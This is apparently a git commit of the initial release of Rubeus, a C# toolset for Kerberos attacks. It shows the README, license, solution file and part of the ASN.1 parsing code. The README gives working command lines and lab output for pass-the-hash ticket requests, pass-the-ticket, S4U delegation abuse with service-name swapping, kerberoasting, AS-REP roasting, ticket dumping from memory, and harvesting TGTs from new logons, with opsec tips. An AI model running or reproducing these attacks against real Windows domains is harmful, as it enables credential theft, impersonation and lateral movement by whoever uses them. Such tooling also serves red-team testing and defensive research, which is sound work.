initial release

master
HarmJ0y 2018-09-24 03:14:15 -04:00
commit 85a1aa42c3
43 changed files with 10437 additions and 0 deletions

6
.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
.vs
*.user
[Dd]ebug/
[Rr]elease/
[Bb]in/
[Oo]bj/

14
LICENSE Executable file
View File

@ -0,0 +1,14 @@
Rubeus is provided under the 3-clause BSD license below.
*************************************************************
Copyright (c) 2018, Will Schroeder
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

695
README.md Executable file
View File

@ -0,0 +1,695 @@
# Rubeus
----
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
## Usage
Rubeus usage:
Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]
Perform Kerberoasting:
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform AS-REP "roasting" for users without preauth:
Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
Rubeus.exe harvest [/interval:MINUTES]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
## asktgt
The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed).
Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**.
c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4988
[+] LUID : 6241024
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIB...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!
**Note that the /luid and /createnetonly parameters require elevation!**
## renew
The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
The **/autorenew** flag will take an existing /ticket .kirbi file, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
C:\Temp\tickets>Rubeus.exe renew /ticket:doIF...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Auto-Renew TGT
[*] User : dfm.a@TESTLAB.LOCAL
[*] endtime : 9/20/2018 8:06:17 PM
[*] renew-till : 9/27/2018 3:06:17 PM
[*] Sleeping for 20 minutes (endTime-30) before the next renewal
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFujCCBba...(snip)...
[*] User : dfm.a@TESTLAB.LOCAL
[*] endtime : 9/20/2018 8:26:00 PM
[*] renew-till : 9/27/2018 3:06:17 PM
...
## s4u
The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
First, a valid TGT/KRB-CRED file is needed for the account with constrained delegation configured. This can be achieved with the **asktgt** action, given the NTLM/RC4 or the aes256_cts_hmac_sha1 hash of the account.
The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions.
The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file.
Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange.
c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaE...(snip)...
c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
Alternatively using a /user and /rc4 :
C:\Temp\tickets>dir \\primary.testlab.local\C$
The user name or password is incorrect.
C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAg...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Temp\tickets>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
03/05/2017 05:36 PM <DIR> inetpub
08/22/2013 08:52 AM <DIR> PerfLogs
04/15/2017 06:25 PM <DIR> profiles
08/28/2018 12:51 PM <DIR> Program Files
08/28/2018 12:51 PM <DIR> Program Files (x86)
08/23/2018 06:47 PM <DIR> Temp
08/23/2018 04:52 PM <DIR> Users
08/23/2018 06:48 PM <DIR> Windows
8 Dir(s) 40,679,706,624 bytes free
## ptt
The **ptt** action will submit a /ticket (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:X. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Import Ticket
[+] Ticket successfully imported!
**Note that the /luid parameter requires elevation!**
## purge
The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:X.
C:\Temp\tickets>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:\Temp\tickets>Rubeus.exe purge /luid:34008685
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!
**Note that the /luid parameter requires elevation!**
## describe
The **describe** action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Display Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt
ServiceRealm : TESTLAB.LOCAL
StartTime : 9/17/2018 6:51:00 PM
EndTime : 9/17/2018 11:51:00 PM
RenewTill : 9/24/2018 4:22:59 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
## createnetonly
The **createnetonly** action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:X parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9060
[+] LUID : 6290874
## kerberoast
The **kerberoast** action replaces the [SharpRoast](https://github.com/GhostPack/SharpRoast) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method that was contributed to PowerView by [@machosec](https://twitter.com/machosec) in order to request the proper service ticket. Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.
With no other arguments, all user accounts with SPNs set in the current domain are kerberoasted. The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU.
Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduserDOMAIN.FQDN\USER /credpassword:PASSWORD.
c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Kerberoasting
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Hash : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...
## asreproast
The **asreproast** action replaces the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project which executed similar actions with the (larger sized) [BouncyCastle](https://www.bouncycastle.org/) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting.
The /user:X parameter is required, while the /domain and /dc arguments are optional, pulling system defaults as other actions do. The [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project has a JohnTheRipper compatible cracking module for this hash type.
c:\Rubeus>Rubeus.exe asreproast /user:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: AS-REP Roasting
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$dfm.a@testlab.local:F7310EA341128...(snip)...
## dump
The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality.
c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target LUID : 0x596f6
[*] Target service : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 366326
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 9/17/2018 9:05:26 AM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
[*] Enumerated 1 ticket(s):
ServiceName : krbtgt
TargetName : krbtgt
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 9/17/2018 4:20:25 PM
EndTime : 9/17/2018 9:20:25 PM
RenewUntil : 9/24/2018 2:05:26 AM
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAg...(snip)...
[*] Enumerated 4 total tickets
[*] Extracted 1 total tickets
**Note that this action needs to be run from an elevated context!**
## monitor
The **monitor** action will monitor the event log for 4624 logon events and will extract any new TGT tickets for the new logon IDs (LUIDs). The /interval parameter (in seconds, default of 60) specifies how often to check the event log. A /filteruser:X can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)
When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a
[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
[*] Target LUID : 0x991972
[*] Target service : krbtgt
UserName : dfm.a
Domain : TESTLAB
LogonId : 10033522
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
AuthenticationPackage : Kerberos
LogonType : Network
LogonTime : 9/18/2018 2:59:02 AM
LogonServer :
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName :
ServiceName : krbtgt
TargetName :
ClientName : dfm.a
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, renewable, forwarded, forwardable
StartTime : 9/17/2018 7:59:02 PM
EndTime : 9/18/2018 12:58:59 AM
RenewUntil : 9/24/2018 7:58:59 PM
TimeSkew : 0
EncodedTicketSize : 1470
Base64EncodedTicket :
doIFujCCBbagAwIBBaE...(snip)...
[*] Extracted 1 total tickets
**Note that this action needs to be run from an elevated context!**
## harvest
The **harvest** action takes monitor one step further. It monitors the event log for 4624 events every /interval:MINUTES for new logons, extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. On the /interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit), and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
c:\Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Action: TGT Harvesting (w/ auto-renewal)
[*] Monitoring every 30 minutes for 4624 logon events
...(snip)...
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
User : dfm.a@TESTLAB.LOCAL
StartTime : 9/17/2018 6:43:02 AM
EndTime : 9/17/2018 11:43:02 AM
RenewTill : 9/24/2018 2:07:48 AM
Flags : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFujCCBbagAw...(snip)...
**Note that this action needs to be run from an elevated context!**
## Compile Instructions
We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.

22
Rubeus.sln Executable file
View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

2291
Rubeus/Asn1/AsnElt.cs Executable file

File diff suppressed because it is too large Load Diff

19
Rubeus/Asn1/AsnException.cs Executable file
View File

@ -0,0 +1,19 @@
using System;
using System.IO;
namespace Asn1 {
public class AsnException : IOException {
public AsnException(string message)
: base(message)
{
}
public AsnException(string message, Exception nested)
: base(message, nested)
{
}
}
}

309
Rubeus/Asn1/AsnIO.cs Executable file
View File

@ -0,0 +1,309 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace Asn1 {
public static class AsnIO {
public static byte[] FindDER(byte[] buf)
{
return FindBER(buf, true);
}
public static byte[] FindBER(byte[] buf)
{
return FindBER(buf, false);
}
/*
* Find a BER/DER object in the provided buffer. If the data is
* not already in the right format, conversion to string then
* Base64 decoding is attempted; in the latter case, PEM headers
* are detected and skipped. In any case, the returned buffer
* must begin with a well-formed tag and length, corresponding to
* the object length.
*
* If 'strictDER' is true, then the function furthermore insists
* on the object to use a defined DER length.
*
* The returned buffer may be the source buffer itself, or a newly
* allocated buffer.
*
* On error, null is returned.
*/
public static byte[] FindBER(byte[] buf, bool strictDER)
{
string pemType = null;
return FindBER(buf, strictDER, out pemType);
}
